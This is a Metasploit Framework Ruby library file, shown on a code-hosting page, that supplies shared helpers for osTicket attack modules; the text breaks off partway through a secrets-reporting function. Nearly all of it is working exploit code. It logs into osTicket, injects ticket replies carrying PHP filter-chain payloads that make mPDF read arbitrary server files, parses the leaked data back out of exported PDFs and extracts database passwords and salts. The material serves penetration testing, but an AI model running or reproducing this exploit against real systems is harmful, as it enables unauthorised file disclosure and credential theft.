Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/core/auxiliary/osticket.rb
59981 views
1
# -*- coding: binary -*-
2
3
require 'zlib'
4
require 'nokogiri'
5
6
##
7
# Shared helpers for osTicket auxiliary modules
8
##
9
10
module Msf
11
# Shared mixin providing helpers for osTicket auxiliary modules:
12
# HTTP authentication, CSRF extraction, PHP filter-chain payload generation,
13
# PDF exfiltration parsing, and credential/note reporting.
14
module Auxiliary::Osticket
15
include Msf::Exploit::Remote::HttpClient
16
include Msf::Exploit::Remote::HTTP::PhpFilterChain
17
18
# Checks whether an HTTP response belongs to an osTicket installation.
19
#
20
# @param response [Rex::Proto::Http::Response] HTTP response
21
# @return [Boolean]
22
def osticket?(response)
23
unless response
24
vprint_error('osticket?: No response received (nil)')
25
return false
26
end
27
vprint_status("osticket?: Response code=#{response.code}, body length=#{response.body.to_s.length}")
28
unless response.code == 200
29
vprint_error("osticket?: Non-200 response code: #{response.code}")
30
return false
31
end
32
33
found = response.body.match?(/osTicket/i)
34
vprint_status("osticket?: osTicket signature #{found ? 'FOUND' : 'NOT found'} in response body")
35
found
36
end
37
38
# Extracts the __CSRFToken__ hidden field value from an osTicket HTML page.
39
# Handles name-before-value, value-before-name, and single/double quotes.
40
#
41
# @param html [String] HTML response body
42
# @return [String, nil] CSRF token value, or nil if not found
43
def extract_csrf_token(html)
44
vprint_status("extract_csrf_token: Searching HTML (#{html.to_s.length} bytes) for __CSRFToken__")
45
[
46
/name="__CSRFToken__"[^>]*value="([^"]+)"/,
47
/value="([^"]+)"[^>]*name="__CSRFToken__"/,
48
/name='__CSRFToken__'[^>]*value='([^']+)'/,
49
/value='([^']+)'[^>]*name='__CSRFToken__'/
50
].each do |pattern|
51
match = html.match(pattern)
52
if match
53
vprint_good("extract_csrf_token: Found token=#{match[1]}")
54
return match[1]
55
end
56
end
57
vprint_error('extract_csrf_token: No CSRF token found in HTML')
58
nil
59
end
60
61
# Authenticates to the osTicket staff control panel (/scp/).
62
#
63
# @param base_uri [String] base path to osTicket (e.g. '/')
64
# @param username [String] staff username
65
# @param password [String] staff password
66
# @return [String, nil] session cookies on success, nil on failure
67
def osticket_login_scp(base_uri, username, password)
68
login_uri = normalize_uri(base_uri, 'scp', 'login.php')
69
vprint_status("osticket_login_scp: GET #{login_uri}")
70
71
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
72
unless res
73
vprint_error('osticket_login_scp: No response from GET request (nil)')
74
return nil
75
end
76
vprint_status("osticket_login_scp: GET response code=#{res.code}, cookies=#{res.get_cookies}")
77
unless res.code == 200
78
vprint_error("osticket_login_scp: Expected 200, got #{res.code}")
79
return nil
80
end
81
82
csrf = extract_csrf_token(res.body)
83
unless csrf
84
vprint_error('osticket_login_scp: No CSRF token found, cannot POST login')
85
return nil
86
end
87
88
cookies_for_post = res.get_cookies
89
vprint_status("osticket_login_scp: POST #{login_uri} with userid=#{username}")
90
res = send_request_cgi(
91
'method' => 'POST',
92
'uri' => login_uri,
93
'cookie' => cookies_for_post,
94
'vars_post' => {
95
'__CSRFToken__' => csrf,
96
'userid' => username,
97
'passwd' => password
98
}
99
)
100
unless res
101
vprint_error('osticket_login_scp: No response from POST request (nil)')
102
return nil
103
end
104
vprint_status("osticket_login_scp: POST response code=#{res.code}, url=#{res.headers['Location']}, body contains userid=#{res.body.downcase.include?('userid')}")
105
106
if res.code == 302
107
# 302 responses may not set new cookies; fall back to the GET cookies
108
# which already contain the authenticated OSTSESSID
109
session_cookies = res.get_cookies
110
session_cookies = cookies_for_post if session_cookies.empty?
111
vprint_good('osticket_login_scp: Login SUCCESS')
112
return session_cookies
113
end
114
115
if res.code == 200 && !res.body.downcase.include?('userid')
116
vprint_good("osticket_login_scp: Login SUCCESS (200 without login form), cookies=#{cookies_for_post}")
117
return cookies_for_post
118
end
119
120
vprint_error('osticket_login_scp: Login FAILED (still see login form)')
121
nil
122
end
123
124
# Authenticates to the osTicket client portal.
125
#
126
# @param base_uri [String] base path to osTicket (e.g. '/')
127
# @param username [String] client email
128
# @param password [String] client password
129
# @param login_path [String] login path (default: 'login.php')
130
#
131
# @return [String, nil] session cookies on success, nil on failure
132
#
133
def osticket_login_client(base_uri, username, password, login_path = 'login.php')
134
login_uri = normalize_uri(base_uri, login_path)
135
vprint_status("osticket_login_client: GET #{login_uri}")
136
137
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
138
unless res
139
vprint_error('osticket_login_client: No response from GET request (nil)')
140
return nil
141
end
142
vprint_status("osticket_login_client: GET response code=#{res.code}, cookies=#{res.get_cookies}")
143
unless res.code == 200
144
vprint_error("osticket_login_client: Expected 200, got #{res.code}")
145
return nil
146
end
147
148
csrf = extract_csrf_token(res.body)
149
unless csrf
150
vprint_error('osticket_login_client: No CSRF token found, cannot POST login')
151
return nil
152
end
153
154
cookies_for_post = res.get_cookies
155
vprint_status("osticket_login_client: POST #{login_uri} with luser=#{username}")
156
res = send_request_cgi(
157
'method' => 'POST',
158
'uri' => login_uri,
159
'cookie' => cookies_for_post,
160
'vars_post' => {
161
'__CSRFToken__' => csrf,
162
'luser' => username,
163
'lpasswd' => password
164
}
165
)
166
unless res
167
vprint_error('osticket_login_client: No response from POST request (nil)')
168
return nil
169
end
170
vprint_status("osticket_login_client: POST response code=#{res.code}, body contains luser=#{res.body.include?('luser')}")
171
172
if res.code == 302
173
# 302 responses may not set new cookies; fall back to the GET cookies
174
# which already contain the authenticated OSTSESSID
175
session_cookies = res.get_cookies
176
session_cookies = cookies_for_post if session_cookies.empty?
177
vprint_good('osticket_login_client: Login SUCCESS')
178
return session_cookies
179
end
180
181
if res.code == 200 && !res.body.include?('luser')
182
vprint_good("osticket_login_client: Login SUCCESS (200 without login form), cookies=#{cookies_for_post}")
183
return cookies_for_post
184
end
185
186
vprint_error('osticket_login_client: Login FAILED (still see login form)')
187
nil
188
end
189
190
# Resolves a user-visible ticket number to the internal numeric ticket ID
191
# used in tickets.php?id= parameters.
192
#
193
# @param base_uri [String] base path to osTicket
194
# @param prefix [String] portal prefix ('/scp' or '')
195
# @param ticket_number [String] visible ticket number (e.g. '978554')
196
# @param cookies [String] session cookies
197
# @return [String, nil] internal ticket ID or nil
198
def find_ticket_id(base_uri, prefix, ticket_number, cookies, max_id)
199
tickets_uri = normalize_uri(base_uri, prefix, 'tickets.php')
200
vprint_status("find_ticket_id: GET #{tickets_uri} (looking for ticket ##{ticket_number})")
201
vprint_status("find_ticket_id: Using cookies=#{cookies}")
202
203
res = send_request_cgi(
204
'method' => 'GET',
205
'uri' => tickets_uri,
206
'cookie' => cookies
207
)
208
unless res
209
vprint_error('find_ticket_id: No response from ticket listing (nil)')
210
return nil
211
end
212
vprint_status("find_ticket_id: Ticket listing response code=#{res.code}, body=#{res.body.to_s.length} bytes")
213
vprint_status("find_ticket_id: Body Length:\n#{res.body.length}")
214
return nil unless res.code == 200
215
216
match = res.body.match(/tickets\.php\?id=(\d+)[^>]*>.*?#?#{Regexp.escape(ticket_number.to_s)}/m)
217
if match
218
vprint_good("find_ticket_id: Found ticket ID=#{match[1]} from listing page")
219
return match[1]
220
end
221
vprint_status("find_ticket_id: Ticket ##{ticket_number} not found in listing, trying brute-force IDs 1-#{max_id}...")
222
223
# Brute-force first N IDs as fallback
224
(1..max_id).each do |tid|
225
vprint_status("find_ticket_id: Trying id=#{tid}")
226
res = send_request_cgi(
227
'method' => 'GET',
228
'uri' => tickets_uri,
229
'cookie' => cookies,
230
'vars_get' => { 'id' => tid.to_s }
231
)
232
if res&.code == 200 && res.body.include?(ticket_number.to_s)
233
vprint_good("find_ticket_id: Found ticket ##{ticket_number} at id=#{tid}")
234
return tid.to_s
235
end
236
end
237
238
vprint_error("find_ticket_id: Could not locate ticket ##{ticket_number}")
239
nil
240
end
241
242
# Acquires a ticket lock via the SCP AJAX endpoint, which is required
243
# before submitting a reply on the staff panel.
244
#
245
# @param base_uri [String] base path to osTicket
246
# @param ticket_id [String] internal ticket ID
247
# @param cookies [String] session cookies
248
# @return [String] lock code, or empty string if unavailable
249
def acquire_lock_code(base_uri, ticket_id, cookies)
250
lock_uri = normalize_uri(base_uri, 'scp', 'ajax.php', 'lock', 'ticket', ticket_id.to_s)
251
vprint_status("acquire_lock_code: POST #{lock_uri}")
252
res = send_request_cgi(
253
'method' => 'POST',
254
'uri' => lock_uri,
255
'cookie' => cookies,
256
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }
257
)
258
return '' unless res&.code == 200
259
260
begin
261
data = JSON.parse(res.body)
262
if data['code']
263
vprint_good('acquire_lock_code: Got lock code from JSON response')
264
return data['code'].to_s
265
end
266
rescue JSON::ParserError
267
vprint_status('acquire_lock_code: Response is not JSON, trying plain text')
268
end
269
270
# Sometimes returned as plain text
271
text = res.body.to_s.strip
272
return text if text.length < 30
273
274
vprint_warning('acquire_lock_code: Could not parse lock code, reply may fail')
275
''
276
end
277
278
# Submits an HTML payload as a ticket reply. The payload is injected into
279
# the reply body and will be rendered by mPDF when the ticket PDF is exported.
280
#
281
# @param base_uri [String] base path to osTicket
282
# @param prefix [String] portal prefix ('/scp' or '')
283
# @param ticket_id [String] internal ticket ID
284
# @param html_content [String] HTML payload to inject
285
# @param cookies [String] session cookies
286
# @return [Boolean] true if the reply was accepted
287
def submit_ticket_reply(base_uri, prefix, ticket_id, html_content, cookies)
288
ticket_uri = normalize_uri(base_uri, prefix, 'tickets.php')
289
290
# SCP requires acquiring a lock before loading the reply page
291
lock_code = prefix == '/scp' ? acquire_lock_code(base_uri, ticket_id, cookies) : ''
292
293
vprint_status("submit_ticket_reply: GET #{ticket_uri}?id=#{ticket_id} to fetch CSRF token")
294
res = send_request_cgi(
295
'method' => 'GET',
296
'uri' => ticket_uri,
297
'cookie' => cookies,
298
'vars_get' => { 'id' => ticket_id }
299
)
300
unless res
301
vprint_error('submit_ticket_reply: No response from ticket page (nil)')
302
return false
303
end
304
vprint_status("submit_ticket_reply: GET response code=#{res.code}, body=#{res.body.to_s.length} bytes")
305
return false unless res.code == 200
306
307
csrf = extract_csrf_token(res.body)
308
unless csrf
309
vprint_error('submit_ticket_reply: No CSRF token found on ticket page')
310
return false
311
end
312
313
textarea_name = detect_reply_textarea(res.body, prefix)
314
vprint_status("submit_ticket_reply: Using textarea field '#{textarea_name}', payload=#{html_content.length} bytes")
315
316
post_vars = if prefix == '/scp'
317
# Parse from_email_id from the page (default "1" if not found)
318
from_email_id = '1'
319
email_match = res.body.match(/name="from_email_id"[^>]*value="([^"]*)"/) ||
320
res.body.match(/value="([^"]*)"[^>]*name="from_email_id"/)
321
from_email_id = email_match[1] if email_match
322
323
# Fall back to parsing lockCode from page HTML if AJAX didn't return one
324
if lock_code.empty?
325
lc_match = res.body.match(/name="lockCode"[^>]*value="([^"]+)"/) ||
326
res.body.match(/value="([^"]+)"[^>]*name="lockCode"/)
327
lock_code = lc_match[1] if lc_match
328
end
329
330
{
331
'__CSRFToken__' => csrf,
332
'id' => ticket_id,
333
'msgId' => '',
334
'a' => 'reply',
335
'lockCode' => lock_code.to_s,
336
'from_email_id' => from_email_id,
337
'reply-to' => 'all',
338
'cannedResp' => '0',
339
'draft_id' => '',
340
textarea_name => html_content,
341
'signature' => 'none',
342
'reply_status_id' => '1'
343
}
344
else
345
{
346
'__CSRFToken__' => csrf,
347
'id' => ticket_id,
348
'a' => 'reply',
349
textarea_name => html_content
350
}
351
end
352
353
vprint_status("submit_ticket_reply: POST #{ticket_uri} with a=reply, id=#{ticket_id}")
354
res = send_request_cgi(
355
'method' => 'POST',
356
'uri' => ticket_uri,
357
'cookie' => cookies,
358
'vars_post' => post_vars
359
)
360
unless res
361
vprint_error('submit_ticket_reply: No response from POST reply (nil)')
362
return false
363
end
364
vprint_status("submit_ticket_reply: POST response code=#{res.code}, body=#{res.body.to_s.length} bytes")
365
366
# A 302 redirect after POST indicates the reply was accepted (osTicket redirects on success)
367
if res.code == 302
368
vprint_good('submit_ticket_reply: Got 302 redirect - reply accepted')
369
return true
370
end
371
372
success = %w[reply\ posted posted\ successfully message\ posted response\ posted].any? do |indicator|
373
res.body.downcase.include?(indicator)
374
end
375
vprint_status("submit_ticket_reply: Success indicators found=#{success}")
376
success
377
end
378
379
# Downloads the PDF export of a ticket. Tries multiple known URL patterns.
380
#
381
# @param base_uri [String] base path to osTicket
382
# @param prefix [String] portal prefix ('/scp' or '')
383
# @param ticket_id [String] internal ticket ID
384
# @param cookies [String] session cookies
385
# @return [String, nil] raw PDF bytes, or nil on failure
386
def download_ticket_pdf(base_uri, prefix, ticket_id, cookies, max_redirects = 3)
387
base = normalize_uri(base_uri, prefix, 'tickets.php')
388
vprint_status("download_ticket_pdf: Trying PDF export from #{base}")
389
390
[
391
{ 'a' => 'print', 'id' => ticket_id },
392
{ 'a' => 'print', 'id' => ticket_id, 'pdf' => 'true' },
393
{ 'id' => ticket_id, 'a' => 'print' }
394
].each do |params|
395
query = params.map { |k, v| "#{k}=#{v}" }.join('&')
396
vprint_status("download_ticket_pdf: GET #{base}?#{query}")
397
res = send_request_cgi!(
398
{ 'method' => 'GET', 'uri' => base, 'cookie' => cookies, 'vars_get' => params },
399
20,
400
max_redirects
401
)
402
unless res
403
vprint_error("download_ticket_pdf: No response (nil) for params=#{params}")
404
next
405
end
406
407
content_type = res.headers['Content-Type'] || ''
408
magic = res.body[0, 4].to_s
409
vprint_status("download_ticket_pdf: Response code=#{res.code}, Content-Type=#{content_type}, magic=#{magic.inspect}, size=#{res.body.length}")
410
411
if content_type.start_with?('application/pdf') || magic == '%PDF'
412
vprint_good("download_ticket_pdf: Got PDF (#{res.body.length} bytes)")
413
return res.body
414
else
415
vprint_warning('download_ticket_pdf: Not a PDF response')
416
end
417
end
418
419
vprint_error('download_ticket_pdf: All PDF URL patterns failed')
420
nil
421
end
422
423
# Builds a minimal 24-bit BMP file header used as a carrier for
424
# exfiltrated data. mPDF renders it as an image whose pixel data
425
# contains the leaked file content after the ISO-2022-KR escape marker.
426
#
427
# @param width [Integer] BMP width in pixels (default 15000)
428
# @param height [Integer] BMP height in pixels (default 1)
429
# @return [String] raw BMP header bytes
430
def generate_bmp_header(width = 15000, height = 1)
431
header = "BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00".b
432
header << [width].pack('V')
433
header << [height].pack('V')
434
header << "\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00".b
435
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".b
436
header
437
end
438
439
# Generates a PHP filter chain URI that reads a target file and prepends
440
# a BMP header so the result embeds as an image in the PDF.
441
#
442
# @param file_path [String] remote file path to read
443
# @param encoding [String] 'plain', 'b64', or 'b64zlib'
444
# @return [String] the php://filter/... URI
445
def generate_php_filter_payload(file_path, encoding = 'plain')
446
b64_payload = Rex::Text.encode_base64(generate_bmp_header)
447
448
filters = 'convert.iconv.UTF8.CSISO2022KR|'
449
filters << 'convert.base64-encode|'
450
filters << 'convert.iconv.UTF8.UTF7|'
451
452
b64_payload.reverse.each_char do |c|
453
mapping = CONVERSIONS[c]
454
next if mapping.nil? || mapping.empty?
455
456
filters << mapping << '|'
457
filters << 'convert.base64-decode|'
458
filters << 'convert.base64-encode|'
459
filters << 'convert.iconv.UTF8.UTF7|'
460
end
461
462
filters << 'convert.base64-decode'
463
464
case encoding
465
when 'b64'
466
filters = 'convert.base64-encode|' + filters
467
when 'b64zlib'
468
filters = 'zlib.deflate|convert.base64-encode|' + filters
469
end
470
471
"php://filter/#{filters}/resource=#{file_path}"
472
end
473
474
# URL-encodes a string, forcing uppercase ASCII letters to percent-encoded
475
# form. Necessary because osTicket/mPDF/htmLawed lowercases unencoded path
476
# components, breaking case-sensitive iconv charset names.
477
#
478
# @param input_string [String] string to encode
479
# @return [String] URL-encoded string
480
def quote_with_forced_uppercase(input_string)
481
safe_chars = ('a'..'z').to_a + ('0'..'9').to_a + ['_', '.', '-', '~']
482
input_string.chars.map do |char|
483
if char >= 'A' && char <= 'Z'
484
format('%%%X', char.ord)
485
elsif safe_chars.include?(char)
486
char
487
else
488
Rex::Text.uri_encode(char)
489
end
490
end.join
491
end
492
493
# Generates the HTML payload for injection into an osTicket ticket.
494
# Each file to read becomes a <li> element whose list-style-image CSS
495
# property points to a PHP filter chain URI, triggering mPDF to process it.
496
#
497
# @param file_specs [Array<String>, Array<Hash>] file paths to read.
498
# Strings may include encoding suffix: "/etc/passwd:b64zlib".
499
# Hashes should have :path and optionally :encoding keys.
500
# @param is_reply [Boolean] true for ticket reply, false for ticket creation
501
# @return [String] HTML payload
502
def generate_ticket_payload(file_specs, is_reply: true)
503
sep = is_reply ? '&#38;&#35;&#51;&#52;' : '&#34'
504
505
payloads = Array(file_specs).map do |spec|
506
if spec.is_a?(Hash)
507
generate_php_filter_payload(spec[:path], spec[:encoding] || 'plain')
508
elsif spec.include?(',')
509
path, enc = spec.split(',', 2)
510
enc = 'plain' unless %w[plain b64 b64zlib].include?(enc)
511
generate_php_filter_payload(path, enc)
512
else
513
generate_php_filter_payload(spec)
514
end
515
end
516
517
html = '<ul>'
518
payloads.each do |p|
519
html << "<li style=\"list-style-image:url#{sep}(#{quote_with_forced_uppercase(p)})\">listitem</li>\n"
520
end
521
html << '</ul>'
522
html
523
end
524
525
# Wraps a raw PHP filter chain URI in the
526
# osTicket HTML injection format for delivery via ticket reply.
527
#
528
# @param filter_uri [String] php://filter/... URI
529
# @param is_reply [Boolean] true for ticket reply payload
530
# @return [String] HTML payload
531
def wrap_filter_as_ticket_payload(filter_uri, is_reply: true)
532
sep = is_reply ? '&#38;&#35;&#51;&#52;' : '&#34'
533
"<ul><li style=\"list-style-image:url#{sep}(#{quote_with_forced_uppercase(filter_uri)})\">listitem</li></ul>"
534
end
535
536
# Extracts exfiltrated file contents from a PDF generated by mPDF.
537
#
538
# mPDF embeds our BMP payload as a PDF image XObject, converting the
539
# pixel data from BMP's BGR byte order to PDF's RGB byte order. To find
540
# the ISO-2022-KR marker, we must convert the image data back to BGR.
541
#
542
# This mirrors what the Python PoC does with PyMuPDF + Pillow:
543
# pix = fitz.Pixmap(pdf_doc, xref) # extract image (RGB)
544
# pil_image.save(bmp_buffer, "BMP") # convert to BMP (BGR)
545
# extract_data_from_bmp(bmp_data) # find marker in BGR data
546
#
547
# @param pdf_data [String] raw PDF bytes
548
# @return [Array<String>] array of extracted file contents
549
def extract_files_from_pdf(pdf_data)
550
vprint_status("extract_files_from_pdf: Processing PDF (#{pdf_data.length} bytes)")
551
results = []
552
553
# Primary: Extract image XObjects, swap RGB for BGR, search for marker
554
image_streams = extract_pdf_image_streams(pdf_data)
555
vprint_status("extract_files_from_pdf: Found #{image_streams.length} image XObject streams")
556
557
image_streams.each_with_index do |img_data, idx|
558
# Swap RGB for BGR to restore original BMP pixel byte order
559
bgr_data = swap_rgb_bgr(img_data)
560
vprint_status("extract_files_from_pdf: Image ##{idx}: #{img_data.length} bytes, swapped to BGR")
561
562
# Try BGR-swapped data first; fall back to raw if swap didn't help
563
content = extract_data_from_bmp_stream(bgr_data)
564
content ||= extract_data_from_bmp_stream(img_data)
565
next unless content && !content.empty?
566
567
clean = content.sub(/\x00+\z/, ''.b)
568
pad_idx = clean.index('@C>=='.b)
569
clean = clean[0...pad_idx] if pad_idx && pad_idx > 0
570
unless clean.empty?
571
vprint_good("extract_files_from_pdf: Image ##{idx} yielded #{clean.length} bytes of extracted data")
572
results << clean
573
end
574
end
575
576
# Fallback: scan all streams directly (catches data not in XObjects or where
577
# BGR swap wasn't needed). Always runs so partial primary results aren't final.
578
streams = extract_pdf_streams(pdf_data)
579
vprint_status("extract_files_from_pdf: Fallback - scanning #{streams.length} raw streams")
580
581
streams.each_with_index do |stream, idx|
582
content = extract_data_from_bmp_stream(stream)
583
next unless content && !content.empty?
584
585
clean = content.sub(/\x00+\z/, ''.b)
586
pad_idx = clean.index('@C>=='.b)
587
clean = clean[0...pad_idx] if pad_idx && pad_idx > 0
588
next if clean.empty?
589
590
# Skip duplicates already found by the primary XObject path
591
next if results.any? { |r| r == clean }
592
593
vprint_good("extract_files_from_pdf: Stream ##{idx} yielded #{clean.length} bytes of extracted data")
594
results << clean
595
end
596
597
vprint_status("extract_files_from_pdf: Total extracted files: #{results.length}")
598
results
599
end
600
601
# Finds image XObject streams in the PDF and returns their decompressed data.
602
# Parses the raw PDF to locate objects with /Subtype /Image, then extracts
603
# and decompresses their stream content.
604
#
605
# @param pdf_data [String] raw PDF bytes
606
# @return [Array<String>] array of decompressed image stream data
607
def extract_pdf_image_streams(pdf_data)
608
pdf_data = pdf_data.dup.force_encoding('ASCII-8BIT')
609
images = []
610
611
# Find all object start positions
612
obj_starts = []
613
pdf_data.scan(/\d+\s+\d+\s+obj\b/) do
614
obj_starts << Regexp.last_match.begin(0)
615
end
616
617
obj_starts.each_with_index do |obj_start, i|
618
# Determine object boundary (up to next obj or end of file)
619
obj_end = i + 1 < obj_starts.length ? obj_starts[i + 1] : pdf_data.length
620
obj_data = pdf_data[obj_start...obj_end]
621
622
# Only process image XObjects
623
next unless obj_data.match?(%r{/Subtype\s*/Image})
624
625
# Find stream data within this object
626
stream_idx = obj_data.index('stream')
627
next unless stream_idx
628
629
# Skip past "stream" keyword + newline delimiter
630
data_start = stream_idx + 6
631
data_start += 1 if data_start < obj_data.length && obj_data[data_start] == "\r".b
632
data_start += 1 if data_start < obj_data.length && obj_data[data_start] == "\n".b
633
634
endstream_idx = obj_data.index('endstream', data_start)
635
next unless endstream_idx
636
637
stream_data = obj_data[data_start...endstream_idx]
638
stream_data = stream_data.sub(/\r?\n?\z/, '')
639
640
# Decompress if FlateDecode filter is applied
641
if obj_data.match?(%r{/Filter\s*/FlateDecode}) || obj_data.match?(%r{/Filter\s*\[.*?/FlateDecode})
642
begin
643
decompressed = Zlib::Inflate.inflate(stream_data)
644
rescue Zlib::DataError, Zlib::BufError
645
decompressed = stream_data
646
end
647
else
648
decompressed = stream_data
649
end
650
651
vprint_status("extract_pdf_image_streams: Found image object (#{decompressed.length} bytes decompressed)")
652
images << decompressed
653
end
654
655
images
656
end
657
658
# Swaps byte order in every 3-byte triplet: [R,G,B] to [B,G,R].
659
# This reverses the BGR / RGB conversion that mPDF performs when
660
# embedding BMP pixel data into a PDF image XObject.
661
#
662
# @param data [String] RGB pixel data
663
# @return [String] BGR pixel data
664
def swap_rgb_bgr(data)
665
s = data.dup.force_encoding('ASCII-8BIT')
666
len = s.length
667
lim = len - (len % 3) # process only complete RGB triplets
668
669
i = 0
670
while i < lim
671
# direct byte swap using getbyte / setbyte is fastest in CRuby
672
r = s.getbyte(i)
673
b = s.getbyte(i + 2)
674
s.setbyte(i, b)
675
s.setbyte(i + 2, r)
676
i += 3
677
end
678
s
679
end
680
681
# Extracts and decompresses all stream objects from raw PDF data.
682
# Most PDF streams use FlateDecode (zlib).
683
#
684
# @param pdf_data [String] raw PDF bytes
685
# @return [Array<String>] array of decompressed stream contents
686
def extract_pdf_streams(pdf_data)
687
streams = []
688
pos = 0
689
690
while (start_idx = pdf_data.index('stream', pos))
691
data_start = start_idx + 6
692
data_start += 1 if data_start < pdf_data.length && pdf_data[data_start] == "\r"
693
data_start += 1 if data_start < pdf_data.length && pdf_data[data_start] == "\n"
694
695
end_idx = pdf_data.index('endstream', data_start)
696
break unless end_idx
697
698
stream_data = pdf_data[data_start...end_idx].sub(/\r?\n?\z/, '')
699
700
begin
701
streams << Zlib::Inflate.inflate(stream_data)
702
rescue Zlib::DataError, Zlib::BufError
703
streams << stream_data
704
end
705
706
pos = end_idx + 9
707
end
708
709
streams
710
end
711
712
def looks_like_base64?(str)
713
return false if str.length < 12 || str.length % 4 != 0
714
715
cleaned = str.tr('A-Za-z0-9+/=', '')
716
cleaned.empty?
717
end
718
719
# Extracts file data from a stream containing BMP pixel data.
720
# Looks for the ISO-2022-KR escape sequence marker (\x1b$)C),
721
# strips null bytes, and decodes (base64 + optional zlib).
722
#
723
# @param raw_data [String] raw stream bytes
724
# @return [String, nil] extracted file content, or nil
725
def extract_data_from_bmp_stream(raw_data)
726
marker = "\x1b$)C".b
727
idx = raw_data.index(marker)
728
unless idx
729
# Not a BMP stream with our marker - this is expected for most PDF streams
730
return nil
731
end
732
733
vprint_status("extract_data_from_bmp_stream: ISO-2022-KR marker found at offset #{idx} in #{raw_data.length}-byte stream")
734
data = raw_data[(idx + marker.length)..].gsub("\x00".b, ''.b)
735
if data.empty?
736
vprint_warning('extract_data_from_bmp_stream: No data after marker (empty after null-strip)')
737
return nil
738
end
739
vprint_status("extract_data_from_bmp_stream: #{data.length} bytes after marker (nulls stripped)")
740
741
# Add this block here: Preview the data to see if it's base64 or plain text
742
preview_len = 96
743
preview = data[0, preview_len]
744
vprint_status("First #{preview_len} bytes of data after marker and null-strip:")
745
vprint_status(" ascii: #{preview.gsub(/[^\x20-\x7e]/, '.').inspect}")
746
vprint_status(" hex: #{preview.unpack1('H*').scan(/../).join(' ')}")
747
748
vprint_status("Data looks like base64? #{looks_like_base64?(data)}")
749
750
# Conditional processing based on whether it's base64
751
if looks_like_base64?(data)
752
b64_decoded = decode_b64_permissive(data)
753
vprint_status("extract_data_from_bmp_stream: b64 decoded=#{b64_decoded.length} bytes")
754
755
# Preview decoded if successful
756
if !b64_decoded.empty?
757
dec_preview = b64_decoded[0, 96]
758
vprint_status('First 96 bytes of b64_decoded:')
759
vprint_status(" ascii: #{dec_preview.gsub(/[^\x20-\x7e]/, '.').inspect}")
760
vprint_status(" hex: #{dec_preview.unpack1('H*').scan(/../).join(' ')}")
761
end
762
763
decompressed = decompress_raw_deflate(b64_decoded)
764
vprint_status("extract_data_from_bmp_stream: zlib decompressed=#{decompressed.length} bytes")
765
766
# Preview decompressed if any
767
if !decompressed.empty?
768
zlib_preview = decompressed[0, 96]
769
vprint_status('First 96 bytes of decompressed:')
770
vprint_status(" ascii: #{zlib_preview.gsub(/[^\x20-\x7e]/, '.').inspect}")
771
vprint_status(" hex: #{zlib_preview.unpack1('H*').scan(/../).join(' ')}")
772
end
773
774
return decompressed unless decompressed.empty?
775
return b64_decoded unless b64_decoded.empty?
776
else
777
# For plain, preview the data itself
778
vprint_status('Treating as plain (non-base64) - preview:')
779
vprint_status(" ascii: #{data[0, 96].gsub(/[^\x20-\x7e]/, '.').inspect}")
780
vprint_status(" hex: #{data[0, 96].unpack1('H*').scan(/../).join(' ')}")
781
end
782
data
783
end
784
785
# Best-effort base64 decoding in 4-byte blocks. Falls back to cleaning
786
# the input as printable ASCII if decoded output is below min_bytes
787
# (indicating the data was probably plaintext, not base64).
788
#
789
# @param data [String] raw bytes to decode
790
# @param min_bytes [Integer] minimum decoded length to consider valid
791
# @return [String] decoded bytes or cleaned plaintext
792
def decode_b64_permissive(data, min_bytes = 12)
793
data = data.strip
794
decoded = ''.b
795
i = 0
796
797
while i < data.length
798
block = data[i, 4]
799
# Stop at non-base64 characters (matches Python's validate=True behavior)
800
break unless block.match?(%r{\A[A-Za-z0-9+/=]+\z})
801
802
begin
803
decoded << Rex::Text.decode_base64(block)
804
rescue StandardError
805
break
806
end
807
i += 4
808
end
809
810
decoded.length < min_bytes ? clean_unprintable_bytes(data) : decoded
811
end
812
813
# Decompresses raw deflate data (no zlib header) in chunks, tolerating
814
# truncated or corrupted streams.
815
#
816
# @param data [String] raw deflate-compressed bytes
817
# @param chunk_size [Integer] decompression chunk size
818
# @return [String] decompressed bytes (may be partial)
819
def decompress_raw_deflate(data, chunk_size = 1024)
820
return ''.b if data.nil? || data.empty?
821
822
inflater = Zlib::Inflate.new(-Zlib::MAX_WBITS)
823
output = ''.b
824
i = 0
825
826
while i < data.length
827
begin
828
output << inflater.inflate(data[i, chunk_size])
829
rescue Zlib::DataError, Zlib::BufError
830
begin
831
output << inflater.flush_next_out
832
rescue StandardError
833
nil
834
end
835
break
836
end
837
i += chunk_size
838
end
839
840
begin
841
output << inflater.finish
842
rescue StandardError
843
nil
844
end
845
inflater.close
846
output
847
end
848
849
# Strips non-printable ASCII characters, keeping 0x20-0x7E and whitespace.
850
#
851
# @param data [String] raw bytes
852
# @return [String] cleaned ASCII bytes
853
def clean_unprintable_bytes(data)
854
data.encode('ASCII', invalid: :replace, undef: :replace, replace: '')
855
.gsub(/[^\x20-\x7E\n\r\t]/, '').b
856
end
857
858
# Searches extracted file contents for osTicket configuration secrets and reports them.
859
# Prints a KEY FINDINGS block and stores credentials/notes to the database.
860
# Works regardless of which portal (SCP or client) was used to authenticate.
861
#
862
# @param extracted [Array<String>] raw file contents extracted from the PDF
863
def report_secrets(extracted)
864
secret_patterns = {
865
'SECRET_SALT' => /define\('SECRET_SALT','([^']+)'\)/,
866
'ADMIN_EMAIL' => /define\('ADMIN_EMAIL','([^']+)'\)/,
867
'DBTYPE' => /define\('DBTYPE','([^']+)'\)/,
868
'DBHOST' => /define\('DBHOST','([^']+)'\)/,
869
'DBNAME' => /define\('DBNAME','([^']+)'\)/,
870
'DBUSER' => /define\('DBUSER','([^']+)'\)/,
871
'DBPASS' => /define\('DBPASS','([^']+)'\)/
872
}
873
874
found_any = false
875
876
extracted.each do |content|
877
text = begin
878
content.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')
879
rescue StandardError
880
next
881
end
882
883
secret_patterns.each do |key, pattern|
884
match = text.match(pattern)
885
next unless match
886
887
unless found_any
888
print_line
889
print_line('=' * 70)
890
print_line('KEY FINDINGS')
891
print_line('=' * 70)
892
found_any = true
893
end
894
print_good(" #{key}: #{match[1]}")
895
896
case key
897
when 'DBPASS'
